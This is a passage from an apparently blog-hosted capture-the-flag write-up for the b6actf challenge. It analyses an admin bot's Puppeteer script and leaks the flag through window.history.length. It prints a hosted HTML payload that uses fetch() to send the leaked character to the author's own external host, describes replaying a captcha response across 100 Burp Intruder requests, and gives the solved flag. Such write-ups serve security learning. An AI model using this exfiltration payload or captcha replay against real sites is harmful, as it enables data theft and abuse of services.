&#39;--no-gpu&#39;,<br>            &#39;--disable-default-apps&#39;,<br>            &#39;--disable-translate&#39;,<br>            &#39;--disable-device-discovery-notifications&#39;,<br>            &#39;--disable-software-rasterizer&#39;,<br>            &#39;--disable-xss-auditor&#39;<br>        ],<br>        ignoreHTTPSErrors: true<br>    });<br>    const page = await browser.newPage();<br>    <br>    const idx = Math.floor(Math.random() * flag_content.length);<br>    const k = flag_content.charCodeAt(idx) - 65 + 1;<br><br>    for (let i = 0; i &lt; k; i++) {<br>        await page.goto(`http://localhost:${PORT}/${crypto.randomBytes(20).toString(&quot;hex&quot;)}`, {waitUntil: &quot;networkidle0&quot;});<br>    }<br><br>    await page.goto(url+`?z=${idx}`, {waitUntil: &quot;networkidle2&quot;});<br>    await new Promise(r =&gt; setTimeout(r, 20000));<br>    await page.close();<br>    await browser.close();<br>}<br><br>module.exports = { visit }</pre><p>It looks like this is the script that gets executed when we submit an URL to the admin bot. Let’s analyze the code.</p><ol><li>The flag is stored in the variable FLAG.</li><li>The flag wrapper b6actf{} is stripped from the flag and the rest of the content is stored in FLAG_CONTENT. We also get a hint here, <em>(/^[A-Z]+$/.test(flag_content))</em>, that the flag content value is just capital English alphabet.</li></ol><p>The interesting part is this code here</p><pre>const idx = Math.floor(Math.random() * flag_content.length);<br>    const k = flag_content.charCodeAt(idx) - 65 + 1;<br><br>    for (let i = 0; i &lt; k; i++) {<br>        await page.goto(`http://localhost:${PORT}/${crypto.randomBytes(20).toString(&quot;hex&quot;)}`, {waitUntil: &quot;networkidle0&quot;});<br>    }<br><br>    await page.goto(url+`?z=${idx}`, {waitUntil: &quot;networkidle2&quot;});</pre><p>Here is a breakdown of what is happening.</p><ol><li>Since Math.Random() is multiplied by the length of the flag content and the entire value is rounded with floor function, the value of idx is never going to be greater than the length of flag content or less than zero. Every time we send an URL to the admin bot, the value of idx will be a random number within 0 and the length of the flag content.</li><li>The value of k is the ascii code of the character at the idx position in the flag content subtracted by 64. For example if the letter ‘A’ is returned by <em>flag_content.charCodeAt(idx) </em>then the value of k will be 1, and for ‘Z’ it will be 26.</li><li>The loop then causes the browser to load a random page on localhost k times.</li><li>Next the admin bot visits the URL and passes the parameter z with the value idx to the URL.</li></ol><p>Since the admin bot adds the parameter z to the URL, we can get the idx value by using something like requestbin. But what about the k value?</p><p>Since the browser loads random pages on the same tab k times before loading our URL, we can get the value of k only by using JavaScript. Since the entire visit function happens on the same tab, we can get the length of the history using window.history.length. To get the exact character value of the flag content, we need to add 62 to it. Why 62 and not 64? Because an empty page is loaded at the start and the current page, i.e., the page that we sent to the admin bot, will also be added to <em>window.history.</em></p><p>Therefore, if we can control the JavaScript on the page that the admin bot visits, we will be able to get the characters of the flag and their corresponding indexes one by one, using which we can construct the flag.</p><p>Since we found an XSS on the website URL we may be able to use it. But it does not work because the admin bot adds the z parameter to the URL before visiting and breaks the base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*C5j0XpzjaufK6a8WUb7kmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*-LP-DKst1eMzdkZrkwgGCw.png" /></figure><p>Is there any way we can bypass this to get an XSS. There might be, but I’m too lazy to find a bypass to this. There could be other easier ways. The target is to control the JavaScript on a page the admin bot visits. XSS is not the only way to control JavaScript.</p><h4>Solution</h4><p>One way to execute JavaScript on a page that the admin bot visits is to host our own webpage. We can accomplish this using Replit by creating a flask application like shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LvuUSkfWDJwXrH6kr8SKvA.png" /></figure><p>The application should return the following as response upon visiting.</p><pre>&lt;html&gt;<br>  &lt;body&gt;<br>    &lt;script&gt;<br>      k=String.fromCharCode(window.history.length+62);<br>      fetch(&#39;https://carpe-diem.edgenask.repl.co/?char=&#39;+encodeURI(String(k)));<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>The above code gets the k value by getting the length of window.history, and calculates the ascii code of the flag content character by adding 62. Then it converts the ascii char code to a character and sends it to the flask application as a parameter, where it will be logged.</p><p>Since the idx value is appended to the URL as the value of parameter z, we can also get the corresponding index of the character from the logs.</p><p>Send the URL to the admin bot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aanYAkpIutZ5Fdn3NNW1lQ.png" /><figcaption>Send URL</figcaption></figure><p>Using Burp Suite, capture the request, and send it to the intruder. Set the payload type as null payload, and generate 100 requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*g1w5C1ToM3TQlRXG9QGpWw.png" /><figcaption>Burp Suite Intruder Null Payloads</figcaption></figure><p>Since the captcha was not implemented properly, we can bypass it by resending the same captcha response in the requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*hiGN7cVGe9zQs8oOtruHtA.png" /></figure><p>All the 100 requests got 200 OK responses. Let’s go back to our flask application and check the logs. And we got the z value and its corresponding char value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*TIr-Zi-1tlPlgS6EEqtzjg.png" /></figure><p>Now all we have to do is construct the flag content string with the obtained char values one by one by keeping the z values as the index. After constructing the string the complete flag will be <strong>b6actf{SEIZEYOURDAY}.</strong></p><blockquote>That is all. Thank you for reading. Have a great life.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17fe1b00a398" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>